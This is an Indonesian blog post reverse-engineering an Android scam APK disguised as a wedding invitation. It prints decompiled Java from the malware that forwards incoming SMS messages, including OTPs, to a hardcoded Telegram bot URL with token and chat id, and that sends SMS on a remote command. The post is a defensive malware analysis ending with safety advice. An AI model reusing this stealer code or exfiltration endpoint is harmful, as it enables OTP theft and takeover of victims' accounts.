Scam lokasi resepsi [ID]
Latar Belakang
Pada jumaat 10 Feb 2023, salah satu rekan kerja saya di kantor mendapatkan chat dari nomor yang tidak dikenal dimana beliau di undang untuk menghadiri suatu undangan, dan undangan yang di attach adalah sebuah aplikasi android APK
Aplikasi yang kirimkan oleh scammer tersebut terlihat kecil hanya berukuran (6 MB) dan memiliki nilai hash seperti berikut
Reverse engineering
Setelah melakukan dekompilasi terhadap APK tersebut, saya menemukan APK tersebut membutuhkan 3 permission yaitu
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
Yang berarti, aplikasi tersebut dapat menerima SMS, menggunakan internet, membaca dan mengirim SMS. Bila dilihat dari permission yang dibutuhkan sepertinya aplikasi ini hanya akan melakukan pencurian SMS OTP pada handphone korban.
Selanjutnya pada directory sources/com/example/myapplication
ditemukan beberapa file, namun kita akan fokus pada 3 File saja yakni MainActivity.java, ReceiveSms.java dan SendSMS.java
Pada file Mainactivity.java ditemukan adanya komunikasi ke telegram pada function onRequestPermissionsResult()
public void onRequestPermissionsResult(int i, String[] strArr, int[] iArr) {
super.onRequestPermissionsResult(i, strArr, iArr);
if (i != 1000) {
return;
}
if (iArr[0] == 0) {
Toast.makeText(this, "Permintaan Anda Sedang di Proses", 0).show();
Request build = new Request.Builder().url("https://api.telegram.org/bot5931495238:AAHOz7qP80CGo8D8yueYGJv3Rib4xuKSxHQ/sendMessage?parse_mode=markdown&chat_id=5641182991&text= \n──────────────────────\n\n 𝐀𝐩𝐤 𝐒𝐚𝐝𝐚𝐩 𝐒𝐌𝐒 𝐖𝐞𝐛𝐩𝐫𝐨 𝐔𝐧𝐝𝐚𝐧𝐠𝐚𝐧 𝐒𝐮𝐝𝐚𝐡 𝐁𝐞𝐫𝐡𝐚𝐬𝐢𝐥 𝐃𝐢 𝐈𝐧𝐬𝐭𝐚𝐥𝐥 𝐁𝐫𝐨 \n\n──────────────────────\n\n " + this.device).build();
Request build2 = new Request.Builder().url("https://api.telegram.org/bot5931495238:AAHOz7qP80CGo8D8yueYGJv3Rib4xuKSxHQ/sendMessage?parse_mode=markdown&chat_id=5641182991&text= \n──────────────────────\n\n 𝐀𝐩𝐤 𝐒𝐚𝐝𝐚𝐩 𝐒𝐌𝐒 𝐖𝐞𝐛𝐩𝐫𝐨 𝐔𝐧𝐝𝐚𝐧𝐠𝐚𝐧 𝐒𝐮𝐝𝐚𝐡 𝐁𝐞𝐫𝐡𝐚𝐬𝐢𝐥 𝐃𝐢 𝐈𝐧𝐬𝐭𝐚𝐥𝐥 𝐁𝐫𝐨 \n\n ────────────────────── \n\n " + this.device).build();
this.client.newCall(build).enqueue(new Callback() {
public void onFailure(Call call, IOException iOException) {
iOException.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
this.client.newCall(build2).enqueue(new Callback() {
public void onFailure(Call call, IOException iOException) {
iOException.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
return;
}
Toast.makeText(this, "Gagal,Silahkan Coba Install lagi", 0).show();
Request build3 = new Request.Builder().url(HttpUrl.FRAGMENT_ENCODE_SET + this.device).build();
Request build4 = new Request.Builder().url(HttpUrl.FRAGMENT_ENCODE_SET + this.device).build();
this.client.newCall(build3).enqueue(new Callback() {
public void onFailure(Call call, IOException iOException) {
iOException.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
this.client.newCall(build4).enqueue(new Callback() {
public void onFailure(Call call, IOException iOException) {
iOException.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
finish();
}
Pada code diatas terlihat aplikasi tersebut melakukan pengiriman request ke api telegram dengan request body berikut
https://api.telegram.org/bot5931495238:AAHOz7qP80CGo8D8yueYGJv3Rib4xuKSxHQ/sendMessage?parse_mode=markdown&chat_id=5641182991&text= \n──────────────────────\n\n 𝐀𝐩𝐤 𝐒𝐚𝐝𝐚𝐩 𝐒𝐌𝐒 𝐖𝐞𝐛𝐩𝐫𝐨 𝐔𝐧𝐝𝐚𝐧𝐠𝐚𝐧 𝐒𝐮𝐝𝐚𝐡 𝐁𝐞𝐫𝐡𝐚𝐬𝐢𝐥 𝐃𝐢 𝐈𝐧𝐬𝐭𝐚𝐥𝐥 𝐁𝐫𝐨 \n\n──────────────────────\n\n " + this.device
dimana this.device
adalah nilai dari String device = ("𝐃𝐞𝐭𝐚𝐢𝐥 𝐏𝐞𝐫𝐚𝐧𝐠𝐤𝐚𝐭 : " + Build.FINGERPRINT + Build.TIME + HttpUrl.FRAGMENT_ENCODE_SET);
dimana nilainya pada setiap device akan berbeda - beda, hal ini sepertinya dilakukan untuk menandai device yang telah berhasil di dapatkan permissionnya, function onRequestPermissionsResult()
akan tertrigger saat aplikasi tersebut berhasil mendapatkan permission dari pemilik device yang akan di curi SMS OTPnya
Saya juga menemukan adanya url https://kadio.id/demo/cream-puff
dimana url tersebut akan di load pada webview
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView((int) R.layout.activity_main);
WebView webView = (WebView) findViewById(R.id.my_web);
this.webviewku = webView;
WebSettings settings = webView.getSettings();
this.websettingku = settings;
settings.setJavaScriptEnabled(true);
this.webviewku.setWebViewClient(new WebViewClient());
this.webviewku.loadUrl("https://kadio.id/demo/cream-puff");
if (Build.VERSION.SDK_INT >= 19) {
this.webviewku.setLayerType(2, (Paint) null);
} else if (Build.VERSION.SDK_INT >= 11 && Build.VERSION.SDK_INT < 19) {
this.webviewku.setLayerType(1, (Paint) null);
}
if (!(Build.VERSION.SDK_INT < 23 || checkSelfPermission("android.permission.SEND_SMS") == 0 || checkSelfPermission("android.permission.READ_SMS") == 0)) {
requestPermissions(new String[]{"android.permission.SEND_SMS", "android.permission.READ_SMS"}, 2000);
}
if (Build.VERSION.SDK_INT >= 23 && checkSelfPermission("android.permission.RECEIVE_SMS") != 0) {
requestPermissions(new String[]{"android.permission.RECEIVE_SMS"}, 1000);
}
}
dimana webview tersebut akan membuka link tersebut dan function melalukan check terhadap permission SEND_SMS
dan READ_SMS
, setelah dicoba membuka link tersebut didapatkan tampilan website seperti berikut
dapat dilihat si pembuat aplikasi scam tersebut menggunakan service dari kadio.id
untuk membuat undangan terlihat asli.
Selanjutnya dilakukan analisis terhadap file ReceiveSms.java
public void onReceive(Context context, Intent intent) {
Bundle extras;
String str = " ";
if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED") && (extras = intent.getExtras()) != null) {
try {
Object[] objArr = (Object[]) extras.get("pdus");
SmsMessage[] smsMessageArr = new SmsMessage[objArr.length];
int i = 0;
while (i < smsMessageArr.length) {
smsMessageArr[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
String originatingAddress = smsMessageArr[i].getOriginatingAddress();
String replace = smsMessageArr[i].getMessageBody().replace("&", " ").replace("#", str);
String replace2 = replace.replace("?", str);
Request build = new Request.Builder().url("https://api.telegram.org/bot5931495238:AAHOz7qP80CGo8D8yueYGJv3Rib4xuKSxHQ/sendMessage?parse_mode=markdown&chat_id=5641182991&text= 𝐍𝐨𝐭𝐢𝐟𝐢𝐤𝐚𝐬𝐢 𝐒𝐚𝐝𝐚𝐩 𝐒𝐌𝐒 𝐔𝐧𝐝𝐚𝐧𝐠𝐚𝐧 𝐃𝐚𝐫𝐢 " + originatingAddress + ", 𝐈𝐬𝐢 𝐒𝐌𝐒 : " + replace).build();
String str2 = str;
Request build2 = new Request.Builder().url("https://api.telegram.org/bot5931495238:AAHOz7qP80CGo8D8yueYGJv3Rib4xuKSxHQ/sendMessage?parse_mode=markdown&chat_id=5641182991&text= 𝐍𝐨𝐭𝐢𝐟𝐢𝐤𝐚𝐬𝐢 𝐒𝐚𝐝𝐚𝐩 𝐒𝐌𝐒 𝐔𝐧𝐝𝐚𝐧𝐠𝐚𝐧 𝐃𝐚𝐫𝐢 " + originatingAddress + ", 𝐈𝐬𝐢 𝐒𝐌𝐒 : " + replace).build();
this.client.newCall(build).enqueue(new Callback() {
public void onFailure(Call call, IOException iOException) {
iOException.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
this.client.newCall(build2).enqueue(new Callback() {
public void onFailure(Call call, IOException iOException) {
iOException.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
i++;
str = str2;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
Function tersebut akan melakukan pencurian SMS dimana setiap adanya SMS yang masuk pada device korban maka SMS tersebut akan diteruskan melalui API Telegram dengan request seperti berikut
https://api.telegram.org/bot5931495238:AAHOz7qP80CGo8D8yueYGJv3Rib4xuKSxHQ/sendMessage?parse_mode=markdown&chat_id=5641182991&text= 𝐍𝐨𝐭𝐢𝐟𝐢𝐤𝐚𝐬𝐢 𝐒𝐚𝐝𝐚𝐩 𝐒𝐌𝐒 𝐔𝐧𝐝𝐚𝐧𝐠𝐚𝐧 𝐃𝐚𝐫𝐢 " + originatingAddress + ", 𝐈𝐬𝐢 𝐒𝐌𝐒 : " + replace
dimana variable originatingAddress
berisi nomor pengirim SMS yang diterima oleh korban, dan variable replace
adalah variable yang berisi body SMS.
Selanjutnya adalah file SendSMS.java
, berikut potongan source code pada file ini
public class SendSMS extends BroadcastReceiver {
final String TAG = "demo";
private final OkHttpClient client = new OkHttpClient();
public void onReceive(Context context, Intent intent) {
SmsMessage[] smsMessageArr;
Object[] objArr;
Bundle bundle;
String str = " ";
String str2 = ",";
if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
Bundle extras = intent.getExtras();
if (extras != null) {
try {
Object[] objArr2 = (Object[]) extras.get("pdus");
SmsMessage[] smsMessageArr2 = new SmsMessage[objArr2.length];
int i = 0;
while (i < smsMessageArr2.length) {
smsMessageArr2[i] = SmsMessage.createFromPdu((byte[]) objArr2[i]);
String originatingAddress = smsMessageArr2[i].getOriginatingAddress();
String messageBody = smsMessageArr2[i].getMessageBody();
String replace = messageBody.replace("&", " ").replace("#", str).replace("?", str);
String str3 = messageBody;
String str4 = str3.split(str2)[0];
String str5 = str3.split(str2)[1];
String str6 = str3.split(str2)[2];
String str7 = str;
String str8 = str2;
int parseInt = Integer.parseInt(str4.toString());
if (parseInt == 55555) {
SmsManager.getDefault().sendTextMessage(str5, (String) null, str6, (PendingIntent) null, (PendingIntent) null);
int i2 = parseInt;
bundle = extras;
try {
String str9 = str5;
objArr = objArr2;
String str10 = str6;
Request build = new Request.Builder().url("https://api.telegram.org/bot5931495238:AAHOz7qP80CGo8D8yueYGJv3Rib4xuKSxHQ/sendMessage?parse_mode=markdown&chat_id=5641182991&text= 𝐍𝐨𝐭𝐢𝐟𝐢𝐤𝐚𝐬𝐢 𝐒𝐚𝐝𝐚𝐩 𝐉𝐍𝐓 𝐒𝐌𝐒 𝐃𝐚𝐫𝐢 " + str9 + ", Isi Pesan : " + str10).build();
Request request = build;
this.client.newCall(build).enqueue(new Callback() {
public void onFailure(Call call, IOException iOException) {
iOException.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
smsMessageArr = smsMessageArr2;
this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot5931495238:AAHOz7qP80CGo8D8yueYGJv3Rib4xuKSxHQ/sendMessage?parse_mode=markdown&chat_id=5641182991&text= 𝐍𝐨𝐭𝐢𝐟𝐢𝐤𝐚𝐬𝐢 𝐒𝐚𝐝𝐚𝐩 𝐉𝐍𝐓 𝐒𝐌𝐒 𝐃𝐚𝐫𝐢 " + str9 + ", Isi Pesan : " + str10).build()).enqueue(new Callback() {
public void onFailure(Call call, IOException iOException) {
iOException.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
} catch (Exception e) {
e = e;
}
} else {
int i3 = parseInt;
bundle = extras;
objArr = objArr2;
smsMessageArr = smsMessageArr2;
String str11 = str5;
String str12 = str6;
}
i++;
str = str7;
extras = bundle;
objArr2 = objArr;
smsMessageArr2 = smsMessageArr;
str2 = str8;
}
Bundle bundle2 = extras;
Object[] objArr3 = objArr2;
SmsMessage[] smsMessageArr3 = smsMessageArr2;
} catch (Exception e2) {
e = e2;
Bundle bundle3 = extras;
e.printStackTrace();
}
} else {
Bundle bundle4 = extras;
}
}
}
}
sama halnya dengan function yang ada pada file ReceiveSms.java
, pada function onReceive
aplikasi akan mengambil alamat pengirim SMS dan body SMS yang selanjutnya akan di teruskan melalui telegram API dengan request url seperti berikut
https://api.telegram.org/bot5931495238:AAHOz7qP80CGo8D8yueYGJv3Rib4xuKSxHQ/sendMessage?parse_mode=markdown&chat_id=5641182991&text= 𝐍𝐨𝐭𝐢𝐟𝐢𝐤𝐚𝐬𝐢 𝐒𝐚𝐝𝐚𝐩 𝐉𝐍𝐓 𝐒𝐌𝐒 𝐃𝐚𝐫𝐢 " + str9 + ", Isi Pesan : " + str10
setelah melakukan penelusuran terhadap api telegram yang ada, ditemukan beberapa informasi seperti berikut
terdapat akun bot dengan username @Hshsvshauagsgswbot
dan akun asli dengan username @Mafiaberdasi3811
Penutup
Untuk saat ini analisis saya berhenti sampai disini, untuk selanjutnya mungkin pihak berwajib dapat berkerja sama dengan pihak telegram untuk menangkap pemilik bot dan pembuat aplikasi, sebelumnya saya tidak tahu kalau sudah ada beberapa orang juga yang sudah melakukan analisis terhadap aplikasi ini, kudos untuk semua orang yang melakukan analisis pada aplikasi ini, Pak Joshua pada laman Facebooknya dan Mas Nikko pada blognya
Saran:
- Jangan melakukan instalasi aplikasi yang dikirimkan oleh siapa pun (kenal/tak dikenal)
- Selalu instal aplikasi resmi melalui App store/Play store